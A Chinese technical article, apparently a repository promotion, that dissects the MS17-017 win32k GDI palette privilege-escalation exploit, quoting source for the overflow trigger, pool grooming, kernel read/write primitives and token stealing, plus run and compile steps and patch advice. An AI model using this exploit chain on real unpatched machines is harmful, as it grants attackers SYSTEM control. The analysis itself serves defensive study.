☰
Windows 内核提权漏洞 MS17-017 深入剖析:基于 GDI Palette 对象滥用与 win32k 池溢出的本地权限提升
2026/10/7 2:27:27 网站建设 项目流程
  • 网络安全
  • 渗透测试

【免费下载链接】windows-kernel-exploits

windows-kernel-exploits Windows平台提权漏洞集合

项目地址:https://gitcode.com/gh_mirrors/wi/windows-kernel-exploits
点击查看免费下载

MS17-017 是微软 2017 年 3 月修复的一批 Windows 内核权限提升(Elevation of Privilege)漏洞之一,对应更新 KB4013081,官方公告描述为"如果攻击者运行一个特制应用程序,该漏洞可能允许权限提升"。本指南围绕当前仓库 MS17-017 目录下的公告文档、完整利用源码 MS17-017.cpp 与可执行文件 MS17-017.exe,系统讲解该漏洞的原理、GDI Palette/Bitmap 对象滥用技术、从 NULL 页映射到任意内存读写的完整利用链条,并给出编译、运行与效果验证的实战步骤。读完本文,你将掌握这类"GDI 对象滥用 + 内核池溢出"提权利用的通用分析方法和源码级调试思路。

一、漏洞概览:公告、补丁与影响范围

仓库根目录 README.md 的漏洞列表中,将 MS17-017 登记为:

  • 安全公告:MS17-017
  • 对应补丁:KB4013081
  • 漏洞类型:GDI Palette Objects Local Privilege Escalation(GDI 调色板对象本地权限提升)
  • 影响系统:Windows 7 / Windows 8

MS17-017/README.md 给出了官方口径的描述:本次安全更新修复了 Microsoft Windows 中的多个漏洞,如果攻击者运行一个特制(specially crafted)应用程序,这些漏洞可能允许权限提升。也就是说,这是一个本地提权(LPE)漏洞,攻击前提是已能在目标系统上以普通用户身份执行代码,利用成功后可将当前会话权限提升至 SYSTEM。

值得指出的是,该利用代码出自安全团队 SensePost 的 gdi-palettes-exp 系列(Exploit-DB 编号 42432),与仓库中另一个 GDI 系列漏洞 MS16-098(RGNOBJ 整数溢出,CVE-2016-3309)同源——两者都是通过滥用 GDI 对象实现内核级读写原语,可见这一技术路线在 2016-2017 年 Windows 内核利用中的代表性地位。

二、漏洞根源:win32k 中的 GDI 池溢出

2.1 攻击面:内核态 GDI 对象

Windows 图形设备接口(GDI)的很多对象(位图 Bitmap、调色板 Palette、区域 Region 等)由内核态驱动win32k.sys管理,用户态通过CreateBitmap、CreatePalette、CreatePatternBrush、PatBlt等 GDI 32 API 与之交互。这些对象在内核池(Pool)中分配,对象头以Gh05/Gh08等标签标识(源码注释中出现Gh05 Address正是这一类对象头)。

漏洞的核心在于:特制的 GDI 对象尺寸与内部计算不一致,导致内核池中发生越界写入(溢出)。从源码 MS17-017.cpp 可以看出触发路径:

//0x10 is the magic number printf("[*] Creating Pattern Brush Bitmap.\r\n"); HBITMAP bitmap = CreateBitmap(0x23, 0x1d41d41, 1, 1, NULL); printf("[*] Creating Pattern Brush.\r\n"); HBRUSH hbrBkgnd = CreatePatternBrush(bitmap); SelectObject(hdc, hbrBkgnd); fengshui(); printf("[*] Triggering Overflow in Win32k!EngRealizeBrush.\r\n"); PatBlt(hdc, 0x100, 0x10, 0x100, 0x100, PATCOPY);

利用者先创建一个尺寸异常的位图:CreateBitmap(0x23, 0x1d41d41, 1, 1, NULL)——宽度 0x23,高度 0x1d41d41,1 个颜色平面,每像素 1 位。随后把它交给CreatePatternBrush生成画刷,选择到窗口 DC 中,最后通过一次PatBlt(图案填充)调用触发win32k!EngRealizeBrush内部对画刷位图的处理,从而在 GDI 池中制造一次越界写入,为后续堆风水与对象劫持提供条件。这也是源码注释中0x10 is the magic number的含义——这个精心构造的几何参数组合决定了溢出能否被稳定触发。

2.2 关键前提:映射 NULL 页

与许多 2017 年前后的 Windows 内核利用一样,MS17-017 的利用需要在用户态映射 NULL 页,用于放置伪造的内核对象。源码 MS17-017.cpp 通过ntdll.dll中导出的NtAllocateVirtualMemory完成:

HMODULE hNtdll = GetModuleHandle("ntdll.dll"); FARPROC tmp = GetProcAddress(hNtdll, "NtAllocateVirtualMemory"); PNtAllocateVirtualMemory NtAllocateVirtualMemory = (PNtAllocateVirtualMemory)tmp; PVOID baseAddress = (PVOID)0x1; // 传入 1,会被向下取整到页边界 0 SIZE_T regionSize = 0xFF; // 会被向上取整到整页 NTSTATUS ntStatus = NtAllocateVirtualMemory( GetCurrentProcess(), &baseAddress, 0, &regionSize, MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE); if (ntStatus != 0) { /* 分配失败则退出 */ } PVOID nullPointer = (PVOID)((UINT)0x4); *(PUINT)nullPointer = (UINT)1; // 在 NULL 页低地址写入标记

代码注释解释了关键细节:不能直接传 NULL 作为起始地址,但传入0x1后系统会将其向下取整为页边界 0,从而把地址 0 所在的页映射进用户态;regionSize = 0xFF会被向上取整到下一个页大小。映射成功后才能利用 NULL 页放置伪造的 GDI 对象头,配合溢出实现对象劫持。

三、核心利用原语:XEPALOBJ 任意读写

利用的关键不是直接写内核内存,而是先通过溢出获得一对"越界可控"的 GDI 对象,构造出任意地址读 / 任意地址写原语。源码围绕两个对象展开:

  • Manager(管理)对象:被溢出的位图/调色板,用于修改相邻对象的指针;
  • Worker(工作)对象:一个XEPALOBJ(扩展调色板对象),其成员pFirstColor指向颜色数据缓冲区,被改造成"任意读/写指针"。

3.1 三个基础函数

源码 MS17-017.cpp 定义了三个原始操作:

void SetAddress(UINT* address) { SetPaletteEntries((HPALETTE)hpManager, 0x3FE, 1, (PALETTEENTRY*)address); } void WriteToAddress(UINT* data, DWORD len) { SetPaletteEntries((HPALETTE)hpWorker, 0, len, (PALETTEENTRY*)data); } UINT ReadFromAddress(UINT src, UINT* dst, DWORD len) { SetAddress((UINT *)&src); DWORD res = GetPaletteEntries((HPALETTE)hpWorker, 0, len, (LPPALETTEENTRY)dst); return res; }

其含义是:

  • SetAddress:把src地址写入 Manager 调色板的第0x3FE个条目——由于溢出已使 Manager 的条目区与 Worker 的pFirstColor指针重叠,写入该条目即等价于改写 Worker 对象指向的目标地址;
  • ReadFromAddress(src, dst, len):先把src作为目标地址设置好,再调用GetPaletteEntries从 Worker 的"颜色缓冲区"读出len个条目——由于pFirstColor已被劫持,GetPaletteEntries实际上执行的是对任意内核地址的读;
  • WriteToAddress(data, len):调用SetPaletteEntries写入 Worker 的"颜色缓冲区"——即对任意内核地址的写。

至此,利用者获得了完整的内核任意读写能力,后续所有操作(找到 SYSTEM 进程、替换 Token)都建立在这三个函数之上。

3.2 堆风水:GDI 池布局

为了让溢出稳定命中相邻对象,源码实现了fengshui()函数(MS17-017.cpp),步骤为:

  1. 分配 2000 个CreateBitmap(0x3A3, 1, 1, 32, NULL)位图(对象尺寸约 0xFE8,占用池中的 Gh08 槽位);
  2. 注册 2000 个窗口类并设置lpszMenuName = "Saif",在内核 GDI 池中喷射 Ustx 标签的菜单名对象(尺寸 0x10+8);
  3. 释放全部 2000 个位图,制造池空洞;
  4. 重新分配 2000 个CreateBitmap(0x1A6, 1, 1, 32, NULL)位图(对象尺寸约 0x7F0+8),占据刚腾出的空洞;
  5. 分配 2000 个调色板:LOGPALETTE的palNumEntries = 0x1E3(对象尺寸约 0x7E8+8),注释特别说明"大于 0x98 的分配标签是 Gh08,小于等于 0x98 则标签为 Gla18"——利用者据此保证目标对象落入可预测的 Gh08 槽位;
  6. 注销Class500~Class749之间的窗口类,把对应位置的 Ustx 对象释放成空洞。

这套"占位—释放—再占位"的组合,使后续被溢出的位图恰好与调色板对象相邻,是溢出能否转化为可利用读写原语的关键工程步骤。

四、完整利用链:从溢出到 SYSTEM Shell

结合源码 MS17-017.cpp,整条利用链可概括为六个阶段:

阶段 1:准备环境与触发溢出

注册窗口类并创建可见窗口,取得窗口 DC;创建异常的 Pattern Brush 位图并SelectObject到 DC;完成fengshui()池布局后调用PatBlt触发EngRealizeBrush中的越界写入。

阶段 2:定位被溢出的 Manager 位图

bits = (BYTE*)malloc(0x6F8); for (int i = 0; i < 2000; i++) { res = GetBitmapBits(bitmaps[i], 0x6F8, bits); if (res > 0x6F8 - 1) { // 只有被溢出污染的位图才能读回超长数据 hManager = bitmaps[i]; printf("[*] Manager Bitmap: %d\r\n", i); break; } }

被越界写入的位图其位图数据长度超出正常值,通过GetBitmapBits读回0x6F8字节即可识别出 Manager 对象(源码 MS17-017.cpp)。

阶段 3:扩大溢出——改写相邻调色板的 cEntries

从 Manager 位图数据偏移0x6F8-8-0x38处读取相邻XEPALOBJ的cEntries(条目数),然后通过SetBitmapBits把该字段整字节写成0xFF,从而把相邻调色板对象的条目数扩大到约 0xFFFFFFFF,使GetPaletteEntries/SetPaletteEntries可以越界访问到相邻对象(源码 MS17-017.cpp)。

阶段 4:识别 Manager 与 Worker 调色板

遍历 2000 个调色板,GetPaletteEntries(hp[k], 0, 0x400, ...)返回值超过0x3BB的即是 cEntries 被撑大的Manager 调色板(hpManager);随后把 Manager 调色板0x3FE条目处的值作为Worker 调色板的pFirstColor指针,并通过检查 Worker 对象头部字节(wBuffer[1] >> 24 == 0x35,即Gh05标签的高字节)在 2000 个调色板中精确锁定 Worker 对象(源码 MS17-017.cpp)。

阶段 5:修复被破坏的对象头

溢出会破坏相邻Gh05对象头(如pFirstColor、条目数等字段),直接使用会导致释放时崩溃。源码在利用前先读取被破坏对象头的 8 个 DWORD,修复其中pFirstColor、cEntries等关键字段后写回,保证后续内存操作稳定(源码 MS17-017.cpp)。

阶段 6:Token 覆盖,获得 SYSTEM

最后一步利用EPROCESS结构完成权限替换(源码 MS17-017.cpp):

// 版本相关偏移:UniqueProcessIdOffset = 0x0b4,TokenOffset = 0x0f8(Win7 SP1) VersionSpecificConfig gConfig = { 0x0b4 , 0x0f8 }; UINT SystemEPROCESS = PsInitialSystemProcess(); // 通过 PsInitialSystemProcess 导出获得 System 的 EPROCESS UINT CurrentEPROCESS = PsGetCurrentProcess(); // 沿 ActiveProcessLinks 链表遍历找到当前进程 EPROCESS UINT SystemToken = 0; ReadFromAddress(SystemEPROCESS + gConfig.TokenOffset, &SystemToken, 1); // 读出 System 的 Token UINT CurProccessAddr = CurrentEPROCESS + gConfig.TokenOffset; SetAddress(&CurProccessAddr); WriteToAddress(&SystemToken, 1); // 把 System 的 Token 写进当前进程 printf("[*] Dropping in SYSTEM shell...\r\n\r\n"); system("cmd.exe"); // 弹出 SYSTEM 权限的 cmd

其中两个关键辅助函数体现了内核对象遍历的思路:

  • PsInitialSystemProcess()(MS17-017.cpp):先用LoadLibrary("ntkrnlpa.exe")加载内核镜像、GetProcAddress取得导出的PsInitialSystemProcess变量地址,再用EnumDeviceDrivers拿到内核基址,二者相减得到该变量相对内核基址的偏移(注释0x169114),最后用ReadFromAddress读出的即 System 进程的 EPROCESS 地址;
  • PsGetCurrentProcess()(MS17-017.cpp):从 System 的 EPROCESS 出发,沿ActiveProcessLinks双向链表逐节点比对UniqueProcessId与当前 PID,从而定位当前进程的 EPROCESS。代码注释给出了_EPROCESS的关键字段:UniqueProcessID、ActiveProcessLinks、Token。

写回 Token 后调用system("cmd.exe")即获得 SYSTEM 权限的命令行,利用结束。

五、编译与使用

仓库在 MS17-017 目录下同时提供了可直接运行的二进制 MS17-017.exe 和完整源码 MS17-017.cpp,另有打包的 gdi-palettes-exp.zip(SensePost 原始工程)。

5.1 直接运行二进制

在目标 Windows 7 / 8(x86)系统上,以普通用户身份将MS17-017.exe拷贝到桌面或临时目录,在命令行执行:

C:\Users\test\Desktop> MS17-017.exe

程序成功后会打印利用过程信息,并自动拉起一个 SYSTEM 权限的cmd.exe,随后即可执行whoami验证身份。

5.2 自行编译源码

源码依赖的接口如下(MS17-017.cpp):

#include <Windows.h> #include <stdio.h> #include <winddi.h> #include <Psapi.h>
  • winddi.h提供 GDI 引擎类型定义;
  • Psapi.h提供EnumDeviceDrivers(用于获取内核基址);
  • 链接时需引入psapi.lib;NtAllocateVirtualMemory在运行时从ntdll.dll动态解析,无需显式链接。

可使用 Visual Studio 创建 Win32 控制台项目编译,注意目标平台与系统位数需一致(源码按 32 位编译,运行于 Windows 7 SP1 x86)。

5.3 适用前提与限制

  • 该利用面向Windows 7 SP1(x86),源码中硬编码了VersionSpecificConfig = { 0x0b4, 0x0f8 }(UniqueProcessIdOffset/TokenOffset,对应 Win7 SP1 的_EPROCESS布局),其他系统版本需要重新测定偏移;
  • 需要内核允许映射 NULL 页,且目标系统未安装 KB4013081 补丁;
  • 利用对池布局依赖较强,不同服务包、不同内存状态下的成功率可能不同,属于典型的内核堆风水类利用。

六、效果验证

仓库截图 ms17-017.jpg 展示了在 Windows 7(Version 6.1.7601)上的完整利用过程:

  1. 提权前,普通用户win-ofin86d4h0g\test在C:\Users\test\Desktop>下执行whoami,输出为低权限账户win-ofin86d4h0g\test;
  2. 运行MS17-017.exe,程序打印利用中间信息(如Manager: 146、Found Worker: 145、被覆盖的位图地址等),随后直接进入Microsoft Windows [Version 6.1.7601]的命令行提示;
  3. 再次执行whoami,输出变为nt authority\system——当前会话已被提升到系统最高权限,提权成功。

这张截图既是漏洞可利用性的直接证据,也可作为测试环境(Win7 SP1 x86 + 未打补丁)的验证参考。

七、防御与检测建议

  • 安装补丁:MS17-017 的官方修复为 KB4013081(Windows 7 / Windows 8),应优先通过 Windows Update 或 WSUS 渠道部署;后续的月度累积更新同样包含该修复。
  • 检测与加固:
    • 关注win32k.sys版本是否低于修复版本,可使用仓库附带的 win-exp-suggester(Windows-Exploit-Suggester)扫描缺失补丁,快速评估主机暴露面;
    • 限制本地低权限账户的交互式登录面,减少攻击者落地执行特制程序的机会;
    • 从根因看,NULL 页映射、GDI 对象滥用都是该时期内核利用的通用特征,可在终端上部署基于 win32k 调用与池行为的内核防护/EDR 规则。

八、关联资源

  • 漏洞公告:MS17-017(KB4013081),详见 MS17-017/README.md;
  • 利用源码:MS17-017/MS17-017.cpp;
  • 预编译二进制:MS17-017/MS17-017.exe;
  • 原始工程压缩包:MS17-017/gdi-palettes-exp.zip;
  • 同作者、同技术路线的姊妹漏洞:MS16-098/README.md(CVE-2016-3309,Windows 8.1 x64 RGNOBJ 整数溢出,滥用 GDI 对象);
  • 仓库总览与全部漏洞清单:README.md。

免责声明:本文仅用于安全研究与防御技术交流,请勿在未获授权的系统上使用文中代码,由此造成的一切后果与原作者和本仓库无关(见仓库根目录 README.md 免责说明)。

  • 网络安全
  • 渗透测试

【免费下载链接】windows-kernel-exploits

windows-kernel-exploits Windows平台提权漏洞集合

项目地址:https://gitcode.com/gh_mirrors/wi/windows-kernel-exploits
点击查看免费下载
上一篇:如何用GoView零代码快速创建专业数据可视化面板:完整指南
下一篇:一键永久激活:KMS_VL_ALL_AIO智能激活工具终极指南

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询